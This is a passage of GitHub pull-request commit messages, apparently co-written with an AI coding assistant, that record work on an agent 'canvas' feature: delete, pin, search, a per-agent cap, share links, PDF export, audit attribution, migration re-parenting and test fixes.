`0058_portal_file_dismissals` and renumbered to `0059` so the prefix keeps
being a usable ordering cue; the id is not applied anywhere yet, so the
rename costs nothing. `check_alembic_heads.py` reports 1 head.

**`CANVAS_MAX_PER_AGENT` was inert (#1039 class).** The refusal message names
the number, but the variable was read only from `os.getenv` in `models.py` and
appeared in no compose file — so an operator following the refusal's own advice
would raise a lever that never reaches the container. Wired into
`docker-compose.yml`, `.prod.yml` and `.hosted.yml` (the last two launch
standalone, no base merge / no `env_file`) plus `.env.example`.

Related to #2619

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP

* chore(design-system): re-freeze CanvasPanel's raw-gray ceiling for ent#553

The raw-colour ratchet became enforceable on dev while this branch was
open (#2605/#2609), and the merge brings it here: this PR's delete/pin/
search chrome takes `components/canvas/CanvasPanel.vue` from 25 to 46
`raw_gray`, so `tests/unit/rawColorRatchet.spec.js` fails the frontend
build.

That growth is the honest kind. The design-system contract SPELLS the
neutral ink ladder as `gray-N` — surfaces gray-50/100/800/900, borders
gray-200/300/700/800, ink gray-300/400/500/600 — and there is no
semantic token for a neutral, which is exactly why the spec's own
comment says gray is ratcheted but never held to zero for new files.
The rule it does hold new code to is `raw_nongray`, and this file stays
at **0**.

Re-frozen in its OWN commit with the increase named in the baseline's
`refrozen` block, which is what the ratchet's error message asks for —
not absorbed silently into the feature diff. The entry is hand-edited
rather than regenerated so #2605's provenance block survives; no other
file's ceiling moves (verified: nothing grew, nothing is stale, no
un-baselined file carries `raw_nongray`).

Related to #553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP

* fix(canvas): state the bound, audit the Workspace writes, gate Manage on ownership (ent#553)

Three review findings, all in the same direction — the backend was right and
the user-facing half did not arrive — plus the two smaller ones.

1. **The stated bound now reaches the user.** `canvasLimit` was a `ref(0)`
   nothing ever assigned, so `canvasHeadroom(n, 0)` returned `{label: null}` and
   the early warning could not render at any count. The ceiling rides
   `GET /api/settings/feature-flags` as `canvas_max_per_agent` — the established
   home for a value the browser needs to render a surface, and where
   `platform_default_model` / `install_source` already set the precedent for a
   non-boolean. Not a new route (Invariant #13 would owe three surfaces for one
   integer) and not an envelope around the canvas list (the MCP tool and the
   Workspace both read it as a bare array). It is a CONSTANT, not per-agent
   state, and the client already holds the count. `0` still means "not told" and
   still renders nothing, so an older backend is unchanged.

2. **The Workspace canvas writes are audited.** The three portal routes recorded
   nothing while their operator twins have logged since they shipped, and
   `docs/user-docs/agents/agent-canvas.md` tells users deletion is audited — so
   the claim was false for exactly the client-facing surface. `_audit_canvas_change`
   is the shared helper; the actor is `actor_email` (the documented #848
   inline-auth path) rather than a fabricated `User`, which is honest because
   `_require_canvas_manager` is platform-only and owner-or-admin, so a real
   Trinity user is always behind it. Ids and counts only (G-04). The three
   routes become `async def` to await it, matching their operator twins, which
   already call the same sync db functions from an async handler.

   Pinning is audited too, on BOTH surfaces — the operator route was the one
   recording nothing. A pin decides which canvas an entire roster sees first, so
   it is an administrative act on a shared surface, not a per-viewer preference.

3. **`canManage` comes from the parent.** It was hardcoded `true` on the
   argument that the server decides. It does — but a merely-shared user was then
   shown Manage → Delete / Pin and got a 403, which is the failing-control
   problem `can_manage_canvases` exists to prevent on the Workspace. Agent
   Detail passes `agent.can_share`, the same predicate `ReportsPanel` five lines
   above already reads and the same one `_gate_human_removal` enforces. The prop
   defaults FALSE, so a caller that forgets it hides an affordance rather than
   offering one that refuses.

4. **`get_agent_card` resolves `can_manage_canvases`.** It omitted it, so the
   same owner read `true` in the sidebar and `false` on the agent's own page —
   the disagreement #2160's own docstring says that function exists to prevent.

5. **An agent genuinely cannot pin its own canvas now.** The user doc said so;
   `_gate_human_removal` allowed it (right for delete — an agent tidying up
   after itself — and wrong for pin), and "no MCP tool exposes it" is a property
   of the client, not of the route. `_gate_pin` is humans-only, which makes the
   documented sentence true rather than aspirational.

Tests: the audit guard now walks the portal routes as well as `routers.canvas`
(it only ever inspected the latter, which is why three unaudited routes passed
it), plus pin-audit parity, the humans-only pin gate beside the still-permitted
agent self-delete, the feature-flags constant being the same object the refusal
is raised from, the agent-card/roster agreement, and four frontend wiring cases.

1025 backend / 2538 frontend tests green.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN

* fix(canvas): the Workspace audit names the operator, not the platform (ent#553)

Found re-reviewing my own audit fix. Adding the rows was right; the attribution
was wrong, and a row that lands under the wrong actor is worse than the missing
row it replaced — nothing fails, so the wrong answer is believed.

`_audit_canvas_change` passed `actor_email` only. But
`platform_audit_service._resolve_actor` derives `actor_type` from
`actor_user` / `actor_agent_name` / `mcp_scope` / `mcp_key_id` and never from
the email, so an email-only call falls through to its last branch:

    _resolve_actor(None, None, None, None) -> ("system", "trinity-system", None)

So every Workspace canvas delete and pin was recorded as `actor_type="system"`,
`actor_id="trinity-system"` — a named operator's action attributed to the
platform, invisible to any `actor_type=user` query and to the audit UI's
per-actor filter. Verified against the real resolver, not by reading the call.

The `actor_email`-only path I cited (#848 inline auth) is right where the caller
genuinely has no `users` row. That is not this route: `_require_canvas_manager`
is platform-only and resolves through `db.can_user_share_agent`, so a row exists
by construction. It now resolves that row and passes `actor_user`, producing the
same `("user", <id>, <email>)` shape the operator twin has always written —
which is the point, since auditing the two surfaces differently buys little more
than auditing one of them.

Best-effort by construction: the action has already happened, so a lookup that
raises or misses must not drop the row. It falls back to the email-only call
with a WARNING, since a miss would mean the gate admitted someone the user table
does not know.

Tests: the regression is pinned against the REAL `_resolve_actor` (both the
shape the fix must not return to and the shape it produces now), plus a source
guard that the helper resolves a row, passes `actor_user`, keeps the email as a
fallback and cannot raise. Removing `actor_user=` reds it.

31 passed on the ent#553 file; 953 across canvas / portal / audit.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN

* test(canvas): resolve CanvasLimitExceeded from the live method's globals

The two cap tests imported the class from `db.canvas` while `_set_cap` already
patches the cap through `upsert_canvas.__globals__` — because an earlier test
can evict and re-import the module. The same eviction gives the test a
different class object than the one the live code raises, and `pytest.raises`
then reports the correct refusal as an unexpected exception. Seen once in a
full local run after the dev merge (both tests pass in isolation and under
CI's three seeds); resolve the class from the same globals the cap comes from.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht

* fix(canvas): keep the selector visible when a search narrows to one match (ent#553 review)

`CanvasPanel.vue` gated the chip strip on `visible.length > 1 || manage`,
where `visible` is the FILTERED list. Searching down to exactly one canvas
hid the strip while the previously selected canvas stayed on screen, and the
auto-select watcher — keyed off the unfiltered `props.canvases` — never
selected the match. Proven by execution: 7 canvases, query "Topic 3" → strip
false, no-match message false. The one canvas the user just searched for was
unreachable.

Fix:
- `canvasSelectorVisible({visible, manage, query})` — with a query, any hit
  shows the strip; without one, a single canvas is no choice (unchanged).
- `canvasAutoSelect(visible, selectedId, query)` — while a query is active
  the selection follows the matches; no-op with no query or when the current
  selection already matches.
- `CanvasPanel.vue` consumes both: `v-if="selectorVisible"` and a watcher on
  `[visible, query]`.

Tests:
- `canvasUtils.spec.js`: the two pure rules.
- `canvasPanelSelectorGate.spec.js`: slices the `selectorVisible` computed out
  of the SFC and RUNS it against the ejection's numbers; pins that the
  template reads the computed, not a re-derived length test, and that the
  watcher calls `canvasAutoSelect`.
- `test_ent553_canvas_lifecycle.py`: the second review ask — the per-agent
  cap reaches the wire as a 409 through the real router → service → db
  chain (only the Redis rate limiter stubbed), names the remedy, and the same
  PUT against an existing id stays an update.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht

* fix(canvas): the search box outlives a shrink below the threshold (ent#553 review)

`query` has exactly one writer — the search input's `v-model` — and that
input was `v-if="showSearch"` with `showSearch = ordered.length > 6`.
Seven canvases, type "Topic 3", delete the one match: six canvases, the
box unmounts, `visible` still filters on the stale query, the strip
collapses, and the panel says *No canvas matches "Topic 3"* with no
control left to clear it. Every remaining canvas is unreachable via the
chips until navigation. Also reachable with no operator action: the
agent's own `clear_canvas` plus a rail refresh while a query is typed.

The rule is pure — `canvasSearchVisible(count, threshold, query)` — and
keeps the box while a query is active regardless of the count: the typed
intent survives the shrink, and the no-match line keeps the one control
that clears it. Resetting `query` when the box would flip off was the
other option and was rejected: it erases a search the user was mid-way
through because a sibling canvas went away.

The gate spec that pinned the previous ejection drove `visible`/`query`
in isolation from `showSearch`, which is why it could not see this one.
It now slices the real `showSearch` computed out of the SFC and RUNS it
against the ejection's own numbers (7 → 6 with "Topic 3" typed → box
stays; 6 with no query → box gone), and pins that the input is gated on
that computed and is the sole writer of `query`. Mutation-checked:
reverting the gate to the old length test reds three cases.

Four mechanical items from the same review ride along:

- requirements/core-agent.md: the ent#438 "deliberately no retention
  window: bounded by construction" line now says why that reasoning was
  wrong (rows are bounded per canvas, the count was not) and what bounds
  it instead; FR-18..FR-22 record delete / bulk / cap / pin / search,
  which had no requirements entries at all.
- raw-color-baseline.json: the `_ent553_note` naming CanvasPanel.vue's
  25 → 46 raw_gray was added in 2794388 and dropped by the dev merge
  aa248f7; re-added so the growth is named in the file.
- routers/canvas.py `# mcp:` header now says pin and bulk-delete are
  unexposed on purpose, and why — Invariant #13's deliberate-vs-forgotten
  signal.
- feature-flows/agent-canvas.md: the two search-state rules and the
  defect class they close.

Verified: vitest 2696 passed (121 files); canvas backend suites 101
passed; raw-colour ratchet and loading-gate ratchet unchanged.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01RS8FBA7oEtAAv6GamZKong

---------

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
vybe added a commit that referenced this pull request Sep 14, 2026
…#554) (#2623)

* feat(canvas): delete, pin, search and a stated bound for the canvas pile

An agent that uses its canvas the way ent#438 intends accumulates dozens: one
per report, per topic, per run. The Workspace could only ever ADD to that pile
— the client-portal surface had no delete at all, the only ordering was "newest
updated", and nothing bounded the table.

Two decisions, both by operator ruling 2026-09-08, recorded because each had a
plausible alternative:

**Deleting is owner-or-admin.** The answer ent#548 gives for files — the owner
deletes the shared artifact. This NARROWS the platform DELETE route, which
accepted any user with agent access; safe because no UI called it, so no
workflow depended on the wider gate. A canvas is one shared surface with no
per-user copy, so a non-owner has no "hide it from my list" middle ground: per
AC #2 they see no control at all rather than one that 403s. Agents keep
clearing their own (`clear_canvas`, the #918 self-gate).

**The bound is a per-agent CAP, not a retention window.** ent#438 recorded "no
retention window" because the composite key bounds rows per canvas — but
`canvas_id` is agent-chosen, so the COUNT was unbounded; the axis was missed,
not decided. `CANVAS_MAX_PER_AGENT` (100, env-tunable) is checked inside
`upsert_canvas`'s insert branch, in the same transaction as the INSERT, so it
is not a check-then-act race. Updating an existing canvas is NEVER refused — a
cap that froze updates would punish exactly the agent that reuses ids — and the
refusal is a named 409 telling the agent to retire one, never an eviction:
deleting a person's surfaces on a timer is the #1638 failure direction.

Both surfaces resolve permission through `db.can_user_share_agent`, the same
predicate `assert_agent_owner` uses, so Agent Detail and the Workspace cannot
disagree about who owns an agent. The Workspace learns it from
`PortalAgentCard.can_manage_canvases` — the portal's only capability channel
(#2128), since a portal principal cannot read `/api/settings/feature-flags` —
and it fails closed.

`pinned` (dual-track: `agent_canvases_pinned` + Alembic 0058, NOT NULL DEFAULT
0, no backfill) is written only by the human pin route and is deliberately
absent from every agent-facing tool: `audience` is the agent's decision about
who may read, `pinned` is the reader's about what they see first, and an agent
that could pin itself to the top would defeat the ordering. A pin survives the
agent rewriting the canvas.

Living with many is `CanvasPanel.vue`, shared by both surfaces (one rendering
layer, per ent#475): search once the list passes six, a height-bounded strip so
a long list does not cost the rail its other tabs, and a Manage mode giving
each row its age, stale mark, pin and delete. Decidable rules are pure in
`canvasUtils.js` — vitest runs `environment: 'node'` with no mount harness, so
a rule inside the SFC is one no test can reach.

Bulk delete is a POST, not a body-carrying DELETE (bodies on DELETE are
permitted-but-unreliable and this one is not optional), declared above the
parameterized routes on both routers (Invariant #4), and it reports the ids
that EXISTED rather than the ids requested so "3 of 5 removed" is sayable.

Three pre-existing guards failed and each was right to: `empty_canvas` was
missing the new field (a real bug in this change, fixed), the self-gate guard
needed to learn the new gate's name, and the positional-read guard needed its
synthetic row extended — that one exists precisely because `_row_to_summary`
reads by index.

Tests: 20 new backend cases (cap refusal + update-at-cap, pin ordering and
survival, bulk scoping, the permission matrix on both surfaces, route ordering,
dual-track migration parity, and that the MCP tools cannot pin) and ~24 vitest
cases for the pure rules. Verified against a real database: the cap refuses the
4th of 3, updates still succeed at the cap, a pin outranks recency and survives
a rewrite, and bulk delete returns only the ids that existed.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ

* feat(canvas): audit the single delete, cover the default canvas, document the lifecycle

Closes the three acceptance criteria the first commit left open:

* AC #1 asked for the deletion to be audited and only the BULK route was —
  the single-canvas route is the one a person actually clicks. Logged only
  when something was removed, since the route is idempotent and a repeat
  click would otherwise fill the trail with events where nothing happened.
* AC #8: deleting the DEFAULT canvas is allowed, comes back empty on the
  next write, and frees a slot against the cap. `main` is the id both the
  MCP tools and the voice panel fall back to, so it is the one most likely
  to be deleted by accident and the one whose deletion must strand nobody.
* AC #9: the user doc gains a "Removing canvases" section stating the
  permission rule, the cap, and that nothing is ever deleted to make room.

Also records a latent pre-existing mismatch found while testing:
`empty_canvas` returns None timestamps while `models.Canvas` requires
strings, so `Canvas(**empty_canvas(...))` raises. Not live — its only
caller declares no `response_model` — but adding one there would turn the
voice teardown poll into a 500. Left as a comment where the next person to
reach for that will meet it, rather than fixed out of scope.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ

* feat(canvas): share a canvas at a link, and download it as a PDF

A canvas is where an agent's real output lives, and until now it could not
leave the Workspace: no share link, no export, nothing in the tree that renders
a PDF.

**Sharing never widens the audience by accident.** Two scopes, and the default
is the narrow one: `authorized` makes the link a DEEP link — opening it
requires signing in and the server re-checks `can_user_access_agent`, so it
reaches "the people who could already see it" and nobody else. `public` is an
explicit, separate, audited choice. Failing narrow is enforced in five
independent places (column default, Pydantic default, `normalize_scope`'s
fallback, the order of `SHARE_SCOPES`, the radio the dialog preselects),
because a link that reaches further than the sharer understood is the one
failure this feature must not have.

**`agent_canvas_shares` is deliberately its own table.** `agent_public_links`
has a `type` column that looks purpose-built for this, and reusing it would
have been a real vulnerability: nothing in that table's read path filters on
type — `get_public_link_by_token`, `is_link_valid` and
`routers/public.py::_validate_public_link` all resolve a token whatever it is —
so a canvas row there would ALSO be a working public-CHAT token, and anyone
sent a canvas could talk to the agent. (`type='site'` is the same trap already
laid; it is unexploited only because nothing creates those rows today.) A
separate table makes the isolation structural instead of dependent on every
consumer remembering to check.

**Live, and it says so** (AC #3, operator ruling): the link renders the canvas
as it is now, carrying its `updated_at` and stale mark, and the page states it
is not a copy taken at share time. That follows ent#438's model — a canvas is a
surface an agent keeps current — and means a share stores nothing. The cost is
drift after sharing; the mitigation is revocation, not freezing.

**Revocation keeps the row.** `revoked_at` is stamped, never deleted, because a
revoked link has to be able to SAY it was revoked (AC #2), which it cannot do
once the row is gone. The status vocabulary splits along disclosure: `revoked`
and `expired` are returned only for a token that MATCHED a row — whoever holds
such a link was already told the canvas exists — while an unknown token and a
canvas deleted out from under a link both collapse into one `not_found`, so a
stranger guessing tokens learns nothing from the difference. An unparseable
`expires_at` reads as expired: a lifetime we cannot read is one we cannot
promise is live.

**PDF is print-first**, the path the issue recommended: a print stylesheet plus
the browser's own PDF. No headless service to run, and — the deciding reason —
no second renderer to keep in step with `CanvasBlock`. A server-side renderer
was the stated fallback and was not needed: pagination (`break-inside: avoid`
per block) and fidelity both fall out of the same markup the screen uses.
`CanvasDocument.vue` is the one printable form, rendered by both the shared
page and every authenticated surface, so AC #7's "identical from every canvas
surface" is true by construction rather than by three surfaces agreeing. It
carries title, agent and generation date, forces the light rendering under
`@media print`, and when `window.print` is unavailable the control says so and
the share link still works.

`ent#425` (hosted deliverable pages) is still open, so per this issue's own
boundary rule this ships the narrower share link and #425 adopts it later.

Verified against a real database, not stubs: the full resolution matrix
(public/anonymous → ok, authorized/anonymous → sign-in, authorized/owner → ok,
authorized/stranger → refused, unknown → not-found, revoked, expired,
unparseable expiry → expired, canvas deleted → not-found), views counted only
on a successful render, cross-agent revoke refused, and a second revoke keeping
the first revocation time.

23 backend tests, 20 vitest cases for the pure rules.

Related to Abilityai/trinity-enterprise#554

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ

* test(canvas): patch the cap where the live code reads it, not where the test imports it

Two ent#553 tests passed in isolation and failed in a full-suite run:
`test_the_cap_refuses_a_new_canvas_by_name` and
`test_deleting_the_default_canvas_frees_a_slot_against_the_cap`.

Order-dependence, not a defect in the feature. They patched
`db.canvas.CANVAS_MAX_PER_AGENT` via a fresh `import db.canvas`. Some earlier
test in the suite evicts that module from `sys.modules`, so the fresh import
hands back a NEW module object while the live `db._canvas_ops` is still an
instance of the OLD class — whose `upsert_canvas` reads the OLD module's
globals. The patch lands somewhere nothing consults, the cap stays at its
default of 100, and the "refuses the 4th of 3" assertions fail.

`_set_cap` patches the bound method's own `__globals__`, which is whichever
module dict the running code actually closes over — correct whether or not an
eviction happened, so it does not depend on knowing which test pollutes.

Same failure and same fix as #2589, where the identical shape bit
`mark_stale_activities_failed`. Worth noting the class: a monkeypatch on a
module attribute is only as good as the assumption that the live object came
from that module object, and in a suite that evicts modules that assumption is
not free.

The feature is unchanged — this touches only the test file.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ

* fix(canvas): print the canvas, not the whole page

Reported from hands-on testing: pressing PDF offered to export the entire page.
Correct report — the print stylesheet only STYLED the document and never hid
anything else, so `window.print()` printed the nav bar, the tabs, the
on-screen panel AND the print copy. That is not "one clean column" by any
reading (AC #4), and it is the first thing anyone pressing the button hits.

Two halves, both required:

* a print rule that hides every `body` child except `.canvas-print-root`;
* the print copy TELEPORTED to <body>, so it is a body child and the rule can
  spare it. Nested inside the app the rule would hide its ancestor and print
  nothing at all — worse than the bug.

`body > *` rather than a class on the app root: it needs no knowledge of how
the app is mounted and works identically on the standalone shared page, which
keeps AC #7's "identical from every surface" true rather than approximately
true. The copy is rendered only while printing (`v-if="printing"` + a
`nextTick` flush before `print()`, since printing a not-yet-rendered teleport
yields a blank sheet), so the DOM carries no permanent hidden duplicate.

`canvasPrintIsolation.spec.js` pins all three structural facts. Nothing
automated can inspect a print preview, which is exactly why the bug shipped —
so the guard asserts the mechanism instead: the hiding rule exists, the root is
teleported to body, and the document mounts before print() is called.
Mutation-tested: removing the hiding rule fails it.

Also fixes a design-system violation the ratchet caught in the same file:
`SharedCanvas` gated its skeleton on a bare `v-if="loading"`. Now
`viewState()` — loading means "no data yet", never "a fetch is in flight"
(#1927, design-system p13-p15). The page fetches once today, so this is the
rule holding rather than a bug fixed; it stays correct if a refresh is added.
Baselining my own new violation was the alternative and would have been the
wrong one.

Related to Abilityai/trinity-enterprise#554

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ

* fix(canvas): re-parent the pinned revision, and make the canvas cap reachable

Two review items from #2619.

**Alembic head fork (#2068 class).** `0058_agent_canvases_pinned` shared
`down_revision = 0057` with #2608's `0058_portal_file_dismissals`, which has
since landed on `dev` — two heads, and `alembic upgrade head` resolves its
single target before applying anything, so EVERY revision merged since the
fork stops arriving, not just one. Re-parented onto
`0058_portal_file_dismissals` and renumbered to `0059` so the prefix keeps
being a usable ordering cue; the id is not applied anywhere yet, so the
rename costs nothing. `check_alembic_heads.py` reports 1 head.

**`CANVAS_MAX_PER_AGENT` was inert (#1039 class).** The refusal message names
the number, but the variable was read only from `os.getenv` in `models.py` and
appeared in no compose file — so an operator following the refusal's own advice
would raise a lever that never reaches the container. Wired into
`docker-compose.yml`, `.prod.yml` and `.hosted.yml` (the last two launch
standalone, no base merge / no `env_file`) plus `.env.example`.

Related to #2619

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP

* chore(design-system): re-freeze CanvasPanel's raw-gray ceiling for ent#553

The raw-colour ratchet became enforceable on dev while this branch was
open (#2605/#2609), and the merge brings it here: this PR's delete/pin/
search chrome takes `components/canvas/CanvasPanel.vue` from 25 to 46
`raw_gray`, so `tests/unit/rawColorRatchet.spec.js` fails the frontend
build.

That growth is the honest kind. The design-system contract SPELLS the
neutral ink ladder as `gray-N` — surfaces gray-50/100/800/900, borders
gray-200/300/700/800, ink gray-300/400/500/600 — and there is no
semantic token for a neutral, which is exactly why the spec's own
comment says gray is ratcheted but never held to zero for new files.
The rule it does hold new code to is `raw_nongray`, and this file stays
at **0**.

Re-frozen in its OWN commit with the increase named in the baseline's
`refrozen` block, which is what the ratchet's error message asks for —
not absorbed silently into the feature diff. The entry is hand-edited
rather than regenerated so #2605's provenance block survives; no other
file's ceiling moves (verified: nothing grew, nothing is stale, no
un-baselined file carries `raw_nongray`).

Related to #553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP

* fix(canvas): state the bound, audit the Workspace writes, gate Manage on ownership (ent#553)

Three review findings, all in the same direction — the backend was right and
the user-facing half did not arrive — plus the two smaller ones.

1. **The stated bound now reaches the user.** `canvasLimit` was a `ref(0)`
   nothing ever assigned, so `canvasHeadroom(n, 0)` returned `{label: null}` and
   the early warning could not render at any count. The ceiling rides
   `GET /api/settings/feature-flags` as `canvas_max_per_agent` — the established
   home for a value the browser needs to render a surface, and where
   `platform_default_model` / `install_source` already set the precedent for a
   non-boolean. Not a new route (Invariant #13 would owe three surfaces for one
   integer) and not an envelope around the canvas list (the MCP tool and the
   Workspace both read it as a bare array). It is a CONSTANT, not per-agent
   state, and the client already holds the count. `0` still means "not told" and
   still renders nothing, so an older backend is unchanged.

2. **The Workspace canvas writes are audited.** The three portal routes recorded
   nothing while their operator twins have logged since they shipped, and
   `docs/user-docs/agents/agent-canvas.md` tells users deletion is audited — so
   the claim was false for exactly the client-facing surface. `_audit_canvas_change`
   is the shared helper; the actor is `actor_email` (the documented #848
   inline-auth path) rather than a fabricated `User`, which is honest because
   `_require_canvas_manager` is platform-only and owner-or-admin, so a real
   Trinity user is always behind it. Ids and counts only (G-04). The three
   routes become `async def` to await it, matching their operator twins, which
   already call the same sync db functions from an async handler.

   Pinning is audited too, on BOTH surfaces — the operator route was the one
   recording nothing. A pin decides which canvas an entire roster sees first, so
   it is an administrative act on a shared surface, not a per-viewer preference.

3. **`canManage` comes from the parent.** It was hardcoded `true` on the
   argument that the server decides. It does — but a merely-shared user was then
   shown Manage → Delete / Pin and got a 403, which is the failing-control
   problem `can_manage_canvases` exists to prevent on the Workspace. Agent
   Detail passes `agent.can_share`, the same predicate `ReportsPanel` five lines
   above already reads and the same one `_gate_human_removal` enforces. The prop
   defaults FALSE, so a caller that forgets it hides an affordance rather than
   offering one that refuses.

4. **`get_agent_card` resolves `can_manage_canvases`.** It omitted it, so the
   same owner read `true` in the sidebar and `false` on the agent's own page —
   the disagreement #2160's own docstring says that function exists to prevent.

5. **An agent genuinely cannot pin its own canvas now.** The user doc said so;
   `_gate_human_removal` allowed it (right for delete — an agent tidying up
   after itself — and wrong for pin), and "no MCP tool exposes it" is a property
   of the client, not of the route. `_gate_pin` is humans-only, which makes the
   documented sentence true rather than aspirational.

Tests: the audit guard now walks the portal routes as well as `routers.canvas`
(it only ever inspected the latter, which is why three unaudited routes passed
it), plus pin-audit parity, the humans-only pin gate beside the still-permitted
agent self-delete, the feature-flags constant being the same object the refusal
is raised from, the agent-card/roster agreement, and four frontend wiring cases.

1025 backend / 2538 frontend tests green.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN

* fix(canvas): the Workspace audit names the operator, not the platform (ent#553)

Found re-reviewing my own audit fix. Adding the rows was right; the attribution
was wrong, and a row that lands under the wrong actor is worse than the missing
row it replaced — nothing fails, so the wrong answer is believed.

`_audit_canvas_change` passed `actor_email` only. But
`platform_audit_service._resolve_actor` derives `actor_type` from
`actor_user` / `actor_agent_name` / `mcp_scope` / `mcp_key_id` and never from
the email, so an email-only call falls through to its last branch:

    _resolve_actor(None, None, None, None) -> ("system", "trinity-system", None)

So every Workspace canvas delete and pin was recorded as `actor_type="system"`,
`actor_id="trinity-system"` — a named operator's action attributed to the
platform, invisible to any `actor_type=user` query and to the audit UI's
per-actor filter. Verified against the real resolver, not by reading the call.

The `actor_email`-only path I cited (#848 inline auth) is right where the caller
genuinely has no `users` row. That is not this route: `_require_canvas_manager`
is platform-only and resolves through `db.can_user_share_agent`, so a row exists
by construction. It now resolves that row and passes `actor_user`, producing the
same `("user", <id>, <email>)` shape the operator twin has always written —
which is the point, since auditing the two surfaces differently buys little more
than auditing one of them.

Best-effort by construction: the action has already happened, so a lookup that
raises or misses must not drop the row. It falls back to the email-only call
with a WARNING, since a miss would mean the gate admitted someone the user table
does not know.

Tests: the regression is pinned against the REAL `_resolve_actor` (both the
shape the fix must not return to and the shape it produces now), plus a source
guard that the helper resolves a row, passes `actor_user`, keeps the email as a
fallback and cannot raise. Removing `actor_user=` reds it.

31 passed on the ent#553 file; 953 across canvas / portal / audit.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN

* fix(migrations): chain 0060_agent_canvas_shares off the renamed pinned revision

ent#553 renamed its revision 0058_agent_canvases_pinned -> 0059 when it
absorbed dev's 0058_portal_file_dismissals; this revision still pointed at
the old id, so after the merge the directory resolved to two heads and
`alembic upgrade head` would have applied nothing. Renumbered to 0060 as
well so the numeric prefix stays a unique ordering cue.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht

* chore(frontend): re-freeze CanvasPanel.vue raw_gray 46 -> 62 for ent#554

The share/PDF controls add gray chrome copied from the panel's existing
header; the branch predates the #2605 ratchet, so the guard first bit when
dev was merged in. Scoped to this one entry, in its own commit, as the
guard's own message prescribes.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht

* test(canvas): resolve CanvasLimitExceeded from the live method's globals

The two cap tests imported the class from `db.canvas` while `_set_cap` already
patches the cap through `upsert_canvas.__globals__` — because an earlier test
can evict and re-import the module. The same eviction gives the test a
different class object than the one the live code raises, and `pytest.raises`
then reports the correct refusal as an unexpected exception. Seen once in a
full local run after the dev merge (both tests pass in isolation and under
CI's three seeds); resolve the class from the same globals the cap comes from.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht

* fix(canvas): keep the selector visible when a search narrows to one match (ent#553 review)

`CanvasPanel.vue` gated the chip strip on `visible.length > 1 || manage`,
where `visible` is the FILTERED list. Searching down to exactly one canvas
hid the strip while the previously selected canvas stayed on screen, and the
auto-select watcher — keyed off the unfiltered `props.canvases` — never
selected the match. Proven by execution: 7 canvases, query "Topic 3" → strip
false, no-match message false. The one canvas the user just searched for was
unreachable.

Fix:
- `canvasSelectorVisible({visible, manage, query})` — with a query, any hit
  shows the strip; without one, a single canvas is no choice (unchanged).
- `canvasAutoSelect(visible, selectedId, query)` — while a query is active
  the selection follows the matches; no-op with no query or when the current
  selection already matches.
- `CanvasPanel.vue` consumes both: `v-if="selectorVisible"` and a watcher on
  `[visible, query]`.

Tests:
- `canvasUtils.spec.js`: the two pure rules.
- `canvasPanelSelectorGate.spec.js`: slices the `selectorVisible` computed out
  of the SFC and RUNS it against the ejection's numbers; pins that the
  template reads the computed, not a re-derived length test, and that the
  watcher calls `canvasAutoSelect`.
- `test_ent553_canvas_lifecycle.py`: the second review ask — the per-agent
  cap reaches the wire as a 409 through the real router → service → db
  chain (only the Redis rate limiter stubbed), names the remedy, and the same
  PUT against an existing id stays an update.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht

* fix(canvas): the search box outlives a shrink below the threshold (ent#553 review)

`query` has exactly one writer — the search input's `v-model` — and that
input was `v-if="showSearch"` with `showSearch = ordered.length > 6`.
